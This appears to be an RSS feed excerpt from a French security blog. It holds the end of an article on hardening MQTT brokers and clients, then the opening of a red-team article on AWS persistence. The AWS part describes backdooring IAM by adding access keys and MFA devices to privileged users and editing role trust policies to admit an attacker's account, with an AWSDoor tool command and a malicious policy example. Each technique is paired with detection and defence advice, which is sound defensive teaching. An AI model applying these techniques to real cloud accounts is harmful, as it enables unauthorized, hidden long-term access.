<p style="text-align: center;"><i><span data-contrast="auto">Figure 4 – Activation du chiffrement sur un broker MQTT Mosquitto par le biais d’un fichier de configuration</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:0}"> </span></p>
<p><span data-contrast="auto">De nombreux dispositifs IoT ont une </span><b><span data-contrast="auto">faible capacité de calcul</span></b><span data-contrast="auto"> et </span><b><span data-contrast="auto">peu de ressources</span></b><span data-contrast="auto">, ajouter des mécanismes tels que TLS peut représenter une </span><b><span data-contrast="auto">surcharge importante</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<h3><span data-contrast="none">Mise en place d’une authentification des clients et d’un contrôle de leurs droits d’accès</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h3>
<p><span data-contrast="auto">MQTT permet l’</span><b><span data-contrast="auto">authentification des clients</span></b><span data-contrast="auto"> se connectant à un broker, via des méthodes courantes telles que l’utilisation d’un nom d’utilisateur et d’un mot de passe (avec un fichier de mot de passe associé) et la </span><b><span data-contrast="auto">vérification du certificat du client</span></b><span data-contrast="auto">, validé par une autorité de certification (le broker devant disposer du certificat de cette autorité). Certains brokers permettent également l’</span><b><span data-contrast="auto">utilisation de solutions d’authentification externes</span></b><span data-contrast="auto">.</span><span data-ccp-props="{&quot;335551550&quot;:1,&quot;335551620&quot;:1,&quot;335559685&quot;:0}"> </span></p>
<p><span data-contrast="auto">Afin de restreindre l’abonnement ou la publication sur certains topics par les clients, une logique d’</span><b><span data-contrast="auto">Access Control List ou ACL </span></b><span data-contrast="auto">peut être ajoutée.</span></p>
<p><img loading="lazy" decoding="async" class="wp-image-27843 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_5.png" alt="" width="691" height="450" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_5.png 1030w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_5-294x191.png 294w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_5-60x39.png 60w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_5-768x500.png 768w" sizes="auto, (max-width: 691px) 100vw, 691px" /></p>
<p style="text-align: center;"><i><span data-contrast="auto">Figure 5 – Ajout d’une authentification par certificat et mot de passe avec un contrôle d’accès </span></i><i><span data-contrast="auto">sur un broker MQTT Mosquitto</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:0}"> </span></p>
<p><span data-contrast="auto"> Une </span><b><span data-contrast="auto">gestion rigoureuse des topics</span></b><span data-contrast="auto"> est essentielle pour </span><b><span data-contrast="auto">prévenir les fuites de données</span></b><span data-contrast="auto"> et </span><b><span data-contrast="auto">limiter les risques de compromission</span></b><span data-contrast="auto"> du broker. L’utilisation des wildcards # et + doit être attentivement surveillée, car une configuration trop permissive permettrait à un attaquant d’accéder à tous les échanges en cours.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<h3><span data-contrast="none">Déploiement de mesures de protection du broker </span><span data-ccp-props="{&quot;335551550&quot;:1,&quot;335551620&quot;:1}"> </span></h3>
<p><span data-contrast="auto">Une rapide recherche sur le moteur Shodan révèle l’exposition de milliers de brokers MQTT sur Internet souvent laissés dans leur configuration par défaut, dont les utilisateurs ignorent l’existence ou les implications. Il est donc primordial de </span><b><span data-contrast="auto">protéger le broker de menaces à la fois internes et externes</span></b><span data-contrast="auto"> en appliquant de </span><b><span data-contrast="auto">bonnes pratiques de sécurité</span></b><span data-contrast="auto">, telles que la mise à jour régulière du système ou la restriction du nombre de requêtes et connexions simultanées, pour prévenir les attaques par déni de service et garantir sa disponibilité.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<h2 aria-level="4"><span data-contrast="none">Sécurisation des clients MQTT</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0,&quot;335559738&quot;:240,&quot;335559739&quot;:120}"> </span></h2>
<h3><span data-contrast="none">Activation du chiffrement des communications</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h3>
<p><span data-contrast="auto">Afin de se connecter sur le broker, les clients devront utiliser le </span><b><span data-contrast="auto">port 8883</span></b><span data-contrast="auto"> et posséder un </span><b><span data-contrast="auto">certificat</span></b><span data-contrast="auto"> ainsi qu’une </span><b><span data-contrast="auto">clé privée valides</span></b><span data-contrast="auto"> auquel cas la connexion sera rejetée.  </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><img loading="lazy" decoding="async" class="wp-image-27845 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_6.png" alt="" width="689" height="319" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_6.png 1033w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_6-413x191.png 413w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_6-71x33.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_6-768x355.png 768w" sizes="auto, (max-width: 689px) 100vw, 689px" /></p>
<p style="text-align: center;"><i><span data-contrast="auto">Figure 6 – Connexion chiffrée sur un client MQTT Paho</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:0}"> </span></p>
<p><span data-contrast="auto">L’utilisation de certificats auto-signés pour la connexion au broker est </span><b><span data-contrast="auto">fortement déconseillée</span></b><span data-contrast="auto"> car ces derniers peuvent être facilement substitués.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<h3><span data-contrast="none">Mise en place d’une authentification du broker (authentification mutuelle)</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h3>
<p><span data-contrast="auto">En plus de l&rsquo;authentification des clients, MQTT permet l&rsquo;</span><b><span data-contrast="auto">authentification du broker</span></b><span data-contrast="auto"> via la vérification de l&rsquo;autorité de certification ayant signé son certificat, assurant ainsi une </span><b><span data-contrast="auto">authentification mutuelle (mTLS)</span></b><span data-contrast="auto"> et la sécurité des communications.</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<p><img loading="lazy" decoding="async" class="wp-image-27847 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_7.png" alt="" width="691" height="311" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_7.png 1041w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_7-425x191.png 425w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_7-71x32.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/mqtt_en_7-768x345.png 768w" sizes="auto, (max-width: 691px) 100vw, 691px" /></p>
<p style="text-align: center;"><i><span data-contrast="auto">Figure 7 – Authentification du broker sur un client MQTT Paho</span></i><span data-ccp-props="{&quot;335551550&quot;:2,&quot;335551620&quot;:2,&quot;335559685&quot;:0}"> </span></p>
<h3><span data-contrast="none">Déploiement de mesures de protection du client</span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6}"> </span></h3>
<p><span data-contrast="auto">En cas de compromission d’un client MQTT, un attaquant pourrait accéder à des nombreuses informations en fonction de la configuration du broker ciblé. C’est pourquoi les clients et leurs secrets doivent aussi être protégés par l’</span><b><span data-contrast="auto">application de bonnes pratiques de sécurité sur la machine hôte</span></b><span data-contrast="auto"> du client et sur le contenu des échanges (ajout de mécanismes anti-rejeu sur les requêtes par exemple). </span><span data-ccp-props="{&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559685&quot;:0}"> </span></p>
<h1><span data-contrast="none">Quel futur pour MQTT ?</span><span data-ccp-props="{&quot;134245418&quot;:true,&quot;134245529&quot;:true,&quot;335551550&quot;:6,&quot;335551620&quot;:6,&quot;335559738&quot;:240,&quot;335559739&quot;:360}"> </span></h1>
<p><span data-contrast="auto">Malgré sa maturité, MQTT demeure un protocole en évolution et intègre progressivement des fonctionnalités innovantes afin de répondre aux exigences croissantes des environnements connectés. Dans un contexte où la demande pour des communications fiables, sécurisées et à faible consommation d&rsquo;énergie ne cesse d&rsquo;augmenter, il est vraisemblable que les cas d’utilisation de MQTT continueront de se multiplier au cours des années à venir.</span></p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/10/la-securite-du-protocole-mqtt/">La sécurité du protocole MQTT</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/10/la-securite-du-protocole-mqtt/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>AWSDoor : Persistance sur AWS</title>
		<link>https://www.riskinsight-wavestone.com/2025/09/awsdoor-persistance-sur-aws/</link>
					<comments>https://www.riskinsight-wavestone.com/2025/09/awsdoor-persistance-sur-aws/#respond</comments>
		
		<dc:creator><![CDATA[Yoann DEQUEKER]]></dc:creator>
		<pubDate>Thu, 11 Sep 2025 15:28:20 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[Attaques AWS]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[AWS Organisation]]></category>
		<category><![CDATA[AWS Organization]]></category>
		<category><![CDATA[AWSDoor]]></category>
		<category><![CDATA[Bucket S3]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[CloudTrail]]></category>
		<category><![CDATA[CloudWatch]]></category>
		<category><![CDATA[Défense AWS]]></category>
		<category><![CDATA[Outil cybersécurité]]></category>
		<category><![CDATA[Persistance IAM]]></category>
		<category><![CDATA[red team]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=27196</guid>

					<description><![CDATA[<p>Cet article comporte de nombreux termes techniques et noms de service qui n&#8217;ont pas de traduction idéales en Français. Pour une lecture plus fluide, vous pouvez consulter l&#8217;article en anglais en cliquant sur « en » en haut de la page. Au...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/09/awsdoor-persistance-sur-aws/">AWSDoor : Persistance sur AWS</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p><em>Cet article comporte de nombreux termes techniques et noms de service qui n&rsquo;ont pas de traduction idéales en Français. Pour une lecture plus fluide, vous pouvez consulter l&rsquo;article en anglais en cliquant sur « en » en haut de la page.</em></p>



<p style="text-align: justify;">Au cours de la dernière décennie<strong>, les infrastructures cloud telles qu’Amazon Web Services (AWS) ont été de plus en plus utilisées</strong> pour héberger des infrastructures critiques, gérer des données sensibles et garantir une évolutivité globale. La transition vers des architectures hybrides et cloud-native a profondément modifié les méthodes de déploiement, de sécurisation et de surveillance des infrastructures.</p>
<p style="text-align: justify;">Cependant, à mesure que l’adoption du cloud s’accélère, ses fonctionnalités et sa complexité <strong>introduisent de nouveaux défis liés à la sécurisation de ces environnements</strong>. Bien que les fournisseurs de services cloud proposent plusieurs mécanismes de sécurité, tels que le contrôle d’accès discrétionnaire et des systèmes de journalisation, de nombreuses organisations <strong>peinent encore à mettre en œuvre des stratégies de sécurité efficaces</strong>, en raison de la nouveauté de ces environnements. Parmi les erreurs de configuration les plus courantes figurent <strong>les </strong><strong>mauvaises configurations des rôles IAM, les politiques trop permissives</strong>, les identifiants exposés et le manque de visibilité sur les activités cloud-native, qui sont donc autant de failles que les attaquants peuvent exploiter.</p>
<p style="text-align: justify;">Lorsqu’un attaquant obtient un accès initial à un environnement cloud, que ce soit par opportunisme ou par exploitation active, <strong>l’action la plus courante après la compromission initiale</strong> et l’escalade de privilèges consiste à <strong>mettre en place des mécanismes de persistance</strong> <strong>d’accès</strong> dans l’environnement.</p>
<p style="text-align: justify;">Contrairement aux réseaux traditionnels sur site, les environnements cloud offrent une multitude de services et <strong>failles de configuration qui peuvent être exploitées pour maintenir un accès à long terme</strong>, même après le début des actions correctives.</p>
<p style="text-align: justify;">Dans cet article, nous explorerons <strong>le concept de persistance d’accès dans AWS</strong>, en analysant les techniques que les adversaires peuvent utiliser pour dissimuler leur présence au sein d’un environnement cloud.</p>
<p style="text-align: justify;">Tout au long de cette article, <strong>les fonctionnalités d’un outil dédié</strong>, conçu pour simplifier et automatiser <strong>le déploiement de techniques de persistance dans les environnements AWS</strong>, seront présentées.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Persistance sur AWS</h2>
<h3 style="text-align: justify;">Persistance IAM</h3>
<p style="text-align: justify;">Dans le contexte d’AWS, l’<em>Identity and Access Management </em><strong>(IAM) constitue la pierre angulaire de la sécurité</strong>. Elle régit les actions que chaque entité peut effectuer dans l’environnement en définissant des rôles, des utilisateurs, des groupes et les politiques associées qui déterminent l’accès aux ressources : si une action ne vous a <strong>pas été explicitement autorisée, vous ne pourrez pas l’exécuter</strong>.</p>
<p style="text-align: justify;">Globalement, l’IAM fonctionne en <strong>associant des identités (comme les utilisateurs ou rôles IAM)</strong> à des politiques, qui sont des documents <em>JSON</em> décrivant les privilèges d’un objet IAM sur une ressource.</p>
<p style="text-align: justify;">Ces politiques sont extrêmement granulaires et <strong>prennent en charge des conditions telles que les restrictions d’adresse IP, l’authentification multifacteur (MFA) ou l’accès limité durant certaines plages horaires.</strong> Les configurations IAM ne se limitent pas à des contrôles d’accès : elles font partie intégrante de l’infrastructure elle-même.</p>
<p style="text-align: justify;">L’IAM est devenu <strong>un vecteur puissant de persistance d’accès</strong> et, contrairement à un environnement sur site, un attaquant disposant de privilèges suffisants n’a pas besoin de déposer des binaires ou d’exécuter des logiciels malveillants pour maintenir son accès à l’environnement. Il peut simplement <strong>modifier les politiques IAM</strong>, créer de nouveaux utilisateurs, attribuer des permissions malveillantes à des rôles existants ou compromettre des identités de confiance.</p>
<p style="text-align: justify;">Ce qui <strong>rend la persistance basée sur l’IAM particulièrement dangereuse, c’est sa discrétion et sa durabilité</strong>. En effet, les modifications apportées à IAM <strong>se fondent souvent dans les activités administratives légitimes</strong>, ce qui les rend difficiles à détecter. Si l’environnement n’est pas correctement maintenu ou régulièrement audité, <strong>identifier une politique malveillante revient à chercher une aiguille dans une botte de foin.</strong></p>
<p style="text-align: justify;">Dans cette section, nous <strong>explorerons les techniques courantes et moins connues que les attaquants peuvent utiliser</strong> pour établir une persistance d’accès en modifiant les configurations IAM. Nous analyserons des exemples concrets et mettrons en évidence les indicateurs que les équipes de défense doivent surveiller afin de détecter et de répondre à ces tactiques souvent négligées.</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">AccessKey</h4>
<h5 style="text-align: justify;"><span style="text-decoration: underline;">Attaque</span></h5>
<p style="text-align: justify;">La technique de <strong>persistance la plus élémentaire</strong> consiste à <strong>ajouter une AccessKey</strong> à un utilisateur.</p>
<p style="text-align: justify;">Sur <em>AWS</em>, les utilisateurs peuvent se connecter via l’interface en ligne de commande (<em>CLI</em>) en utilisant une <em>AccessKey</em>. La méthode la plus simple pour établir une persistance consiste à déployer une <em>AccessKey</em> sur un utilisateur disposant de privilèges élevés.</p>
<p style="text-align: justify;">Une fois la clé créée pour cet utilisateur, l’attaquant peut <strong>accéder à AWS via l’interface en ligne de commande avec les privilèges de l’utilisateur</strong>.</p>
<p style="text-align: justify;">Cependant, cette technique présente certaines limitations :</p>
<ul style="text-align: justify;">
<li>Un utilisateur ne peut avoir que deux AccessKey enregistrées simultanément.</li>
<li>Certaines SCP (Service Control Policies), des politiques globales appliquées par l’organisation sur un sous-compte, peuvent empêcher l’utilisation des AccessKey ou imposer l’authentification multifacteur (MFA).</li>
</ul>
<p style="text-align: justify;">Concernant la limitation du nombre de clés d’accès enregistrées sur un utilisateur, il est possible de :</p>
<ul style="text-align: justify;">
<li>Lister les AccessKey enregistrées sur un utilisateur</li>
<li>Obtenir la dernière date d’utilisation de l’AccessKey : en général, si un utilisateur possède plus d’une AccessKey, la seconde a été perdue, ou n’est plus utilisée et peut être désactivée et supprimée avec un risque acceptable</li>
<li>Supprimer l’AccessKey inutilisée</li>
</ul>
<p style="text-align: justify;"> </p>
<figure id="attachment_27297" aria-describedby="caption-attachment-27297" style="width: 1017px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27297" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-437x174.png" alt="Information d’une clé d’accès et de la dernière utilisation de celle-ci" width="1017" height="405" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-437x174.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word-1536x613.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_01-FR-Persitence-on-AWS.docx-Word.png 1728w" sizes="auto, (max-width: 1017px) 100vw, 1017px" /><figcaption id="caption-attachment-27297" class="wp-caption-text"><em>Information d’une clé d’accès et de la dernière utilisation de celle-ci</em></figcaption></figure>



<p>&nbsp;</p>
<p style="text-align: justify;">Pour lister et supprimer une AccessKey, les privilèges suivants sont nécessaires :</p>
<ul style="text-align: justify;">
<li><strong> iam:ListAccessKeys</strong> : permet de récupérer les détails des AccessKey</li>
<li><strong> iam:UpdateAccessKey</strong> : permet de désactiver la clé avant sa suppression</li>
<li><strong> iam:DeleteAccessKey</strong> : permet de supprimer effectivement l’AccessKey</li>
</ul>
<p style="text-align: justify;">Il est possible d’enregistrer un dispositif MFA sur un utilisateur spécifique sans son consentement, ce qui permet de contourner la restriction. Cependant, si la connexion via AccessKey est refusée, cette technique ne peut pas être utilisée.</p>
<p style="text-align: justify;">Pour ajouter une AccessKey à un utilisateur, le privilège suivant est requis :</p>
<ul style="text-align: justify;">
<li> <strong>iam:CreateAccessKey</strong></li>
</ul>
<p style="text-align: justify;">Pour ajouter un dispositif MFA à un utilisateur, les privilèges suivants sont requis :</p>
<ul>
<li style="text-align: justify;"> <strong>aws:CreateVirtualMfaDevice</strong></li>
<li style="text-align: justify;"> <strong>aws:EnableMfaDevice</strong></li>
</ul>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>Cette technique est implémentée dans AWSDoor :</p>
<p>&nbsp;</p>
<pre>python .\main.py -m AccessKey -u adele.vance<br><br>[+] Access key created for user: adele.vance<br>[+] Access key ID: AKIAWMFUPIEBGOX73NJY<br>[+] Access key Secret: p4g[…]i7ei</pre>
<p>&nbsp;</p>
<p>La <strong>clé est ensuite ajoutée à l’utilisateur</strong> :</p>
<p>&nbsp;</p>
<figure id="attachment_27300" aria-describedby="caption-attachment-27300" style="width: 999px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27300" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-437x175.png" alt="Clé ajoutée avec AWSDoor" width="999" height="400" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-437x175.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-71x28.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-768x307.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-1536x614.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_33_35-FR-Persitence-on-AWS.docx-Word-2048x819.png 2048w" sizes="auto, (max-width: 999px) 100vw, 999px" /><figcaption id="caption-attachment-27300" class="wp-caption-text"><em>Clé ajoutée avec AWSDoor</em></figcaption></figure>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">Défense</span></h5>
<p style="text-align: justify;">Bien que l’ajout d’une <em>AccessKey</em> à un utilisateur <strong>soit le moyen le plus simple d’obtenir une persistance dans un environnement AWS</strong>, il s’agit également de l’une des méthodes <strong>les moins discrètes</strong>.</p>
<p style="text-align: justify;">En effet, si l’équipe de détection identifie la compromission de l’environnement, elle peut facilement retrouver l’AccessKey déployée par <strong>l’utilisateur compromis via les journaux AWS CloudTrail</strong> :</p>
<p style="text-align: justify;">&nbsp;</p>
<figure id="attachment_27303" aria-describedby="caption-attachment-27303" style="width: 951px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27303" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-264x191.png" alt="Journaux de création d’AccesKey " width="951" height="688" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-264x191.png 264w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-54x39.png 54w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word-768x555.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_00-FR-Persitence-on-AWS.docx-Word.png 1505w" sizes="auto, (max-width: 951px) 100vw, 951px" /><figcaption id="caption-attachment-27303" class="wp-caption-text"><em>Journaux de création d’AccesKey</em></figcaption></figure>
<p>&nbsp;</p>



<p style="text-align: justify;">De plus, certaines solutions de sécurité<strong>, telles que les systèmes de gestion de posture de sécurité cloud (Cloud Security Posture Management), peuvent détecter ce type de persistan</strong>ce si les utilisateurs n’emploient généralement pas d’AccessKey.</p>
<p style="text-align: justify;">Enfin, à titre de recommandation, il est généralement préférable <strong>d’éviter l’utilisation d’utilisateurs IAM avec AccessKey et de privilégier l’utilisation d’AWS SSO</strong> :  <span style="color: #000080;"><a style="color: #000080;" href="https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html">https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-sso.html</a>.</span></p>
<p style="text-align: justify;">Une fois l’authentification SSO configurée, le nombre d’utilisateurs « humains » tombe à 0, seuls les utilisateurs de service restant. Il devient alors plus facile <strong>de repérer les AccessKey malveillantes et de surveiller de près celles existantes</strong> (par exemple, les utilisateurs de service CICD).</p>
<p style="text-align: justify;"> </p>
<h4 style="text-align: justify;">Trust Policy</h4>
<p style="text-align: justify;">Dans AWS, les rôles sont des objets IAM utilisés pour déléguer l’accès entre les services, les comptes ou les utilisateurs. Contrairement aux utilisateurs IAM, <strong>les rôles ne possèdent pas d’identifiants à long terme</strong>. <strong>Ils sont plutôt assumés (utilisés) via l’API sts:AssumeRole</strong>, qui renvoie des identifiants temporaires accordant les autorisations définies dans les politiques d’autorisations du rôle.</p>
<p style="text-align: justify;">Pour contrôler qui peut assumer un rôle, <strong>AWS utilise un document spécifique appelé Trust Policy</strong> (<em>Politique de confiance</em>). Une Trust Policy spécifie les identités de <strong>principaux de confiance</strong> (utilisateurs, rôles, comptes, services ou utilisateurs fédérés) <strong>autorisées à assumer le rôle</strong>. Si un principal n’est pas listé dans la politique de confiance d’un rôle, il ne peut tout simplement pas l’assumer, quelles que soient les autorisations qu’il détient ailleurs.</p>
<p style="text-align: justify;"> </p>
<h5><span style="text-decoration: underline;">Exemple de cas d’utilisation pour AssumeRole et la Trust Policy</span></h5>
<p style="text-align: justify;">Imaginez une entreprise disposant de plusieurs comptes AWS :</p>
<ul style="text-align: justify;">
<li>un pour le développement</li>
<li>un pour la préproduction (<em>staging</em>)</li>
<li>un pour la production</li>
</ul>
<p style="text-align: justify;">Plutôt que de créer et gérer des utilisateurs IAM distincts dans chaque environnement, <strong>l’organisation définit un groupe centralisé d’administrateurs dans un compte de gestion</strong>.</p>
<p> </p>
<figure id="attachment_27306" aria-describedby="caption-attachment-27306" style="width: 854px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-27306" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-345x191.png" alt="Assumer un rôle au travers de la TrustPolicy" width="854" height="473" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-345x191.png 345w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-768x425.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1536x849.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word-1170x650.png 1170w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/09/2025-09-11-13_34_22-FR-Persitence-on-AWS.docx-Word.png 1763w" sizes="auto, (max-width: 854px) 100vw, 854px" /><figcaption id="caption-attachment-27306" class="wp-caption-text"><em>Assumer un rôle au travers de la TrustPolicy</em></figcaption></figure>
<p> </p>



<p style="text-align: justify;">Chaque compte cible <strong>définit un rôle avec des privilèges élevés</strong> (par exemple, CrossAdminAccess) et configure une TrustPolicy <strong>n’autorisant que les identités IAM du compte de gestion à l’assumer</strong>. La TrustPolicy, déployée sur chaque compte cible, ressemblera à ceci :</p>
<p>&nbsp;</p>
<pre>{<br>&nbsp; "Version": "2012-10-17",<br>&nbsp; "Statement": [<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Effect": "Allow",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Principal": {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "AWS": "arn:aws:iam::${MgmtAccountId}:user/ADM01"<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Action": "sts:AssumeRole",<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp; ]<br>}</pre>
<p>&nbsp;</p>
<p style="text-align: justify;">Cette approche permet de <strong>maintenir une séparation claire entre les environnements tout en conservant un contrôle centralisé</strong>. Les administrateurs « changent de rôle » depuis le compte de gestion vers les autres comptes uniquement lorsque cela est nécessaire, sans dupliquer les identifiants. Après l’action AssumeRole, l’administrateur du compte de gestion obtient des privilèges d’administration temporaires sur le compte ciblé.</p>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">Attaque</span></h5>
<p style="text-align: justify;">Comme indiqué dans la TrustPolicy précédente, la capacité à assumer un rôle spécifique dans un compte est <strong>gérée par la politique qui autorise explicitement un compte externe</strong> à assumer un rôle dans le compte cible.</p>
<p style="text-align: justify;">Cependant, <strong>rien n’impose à la TrustPolicy de n’autoriser que des comptes connus et de confiance</strong>. Un attaquant disposant des privilèges nécessaires pour modifier une TrustPolicy peut y introduire une porte dérobée en autorisant son propre compte AWS à assumer le rôle dans le compte compromis&nbsp;:</p>
<p>&nbsp;</p>
<pre>{<br>&nbsp; "Version": "2012-10-17",<br>&nbsp; "Statement": [<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Effect": "Allow",<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Principal": {<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;"AWS": [<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;"arn:aws:iam::${attackerAccountId}:role/fakeRole"<br>&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;]<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; },<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Action": "sts:AssumeRole"<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp; ]<br>}</pre>
<p>&nbsp;</p>
<p style="text-align: justify;">Une fois cette politique appliquée, <strong>il est possible d’assumer directement le rôle compromis depuis l’extérieur</strong>.</p>
<p>&nbsp;</p>
<h5><span style="text-decoration: underline;">AWSDoor</span></h5>
<p>Cette technique est implémentée dans AWSDoor :</p>
<p>&nbsp;</p>
